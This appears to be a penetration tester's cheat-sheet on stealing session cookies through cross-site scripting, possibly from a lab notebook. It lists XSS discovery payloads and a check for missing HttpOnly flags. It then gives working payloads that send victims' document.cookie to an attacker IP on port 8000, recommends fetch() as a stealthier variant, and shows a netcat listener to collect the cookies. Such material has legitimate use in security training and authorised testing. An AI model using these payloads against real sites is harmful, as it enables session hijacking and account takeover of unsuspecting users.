OBTAINING SESSION COOKIES (NETCAT SERVER)
#discovery
root@oco:~$ BROWSER > {targetSite:port}
input field 1: "><img src=x onerror=prompt(document.domain)>
input field 2: "><img src=x onerror=confirm(1)>
input field 3: "><img src=x onerror=alert(1)>
* this will identify which field is vulnerable to XSS
* the document.domain is used to ensure that JavaScript is being executed on the
actual domain and not in a sandboxed environment.
- JavaScript being executed in a sandboxed environment prevents client-side
attacks, but there are sandbox escapes exists
* if no automatic triggers occur, utilize the site/page button to trigger them
#check if HTTPOnly is "off" using Web Developer Tools
root@oco:~$ BROWSER > {targetSite:port} > F12 > Storage > Cookies > {targetSite}
HttpOnly: False
Secure: False
SameSite: Noneroot@oco:~$ BROWSER > {targetSite:port}
vulnerable xss input field: <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://<VPN/TUN Adapter IP>:8000/log.php?c=' + document.cookie;"></video>
* We don't necessarily have to use the window.location() object that causes victims
to get redirected. We can use fetch(), which can fetch data (cookies) and send
it to our server without any redirects. This is a stealthier way.
* another sample payload: <h1 onmouseover='document.write(`<img src="http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}">`)'>test</h1>
root@oco:~$ nc -nlvp 8000
listening on [any] 8000 ...Last updated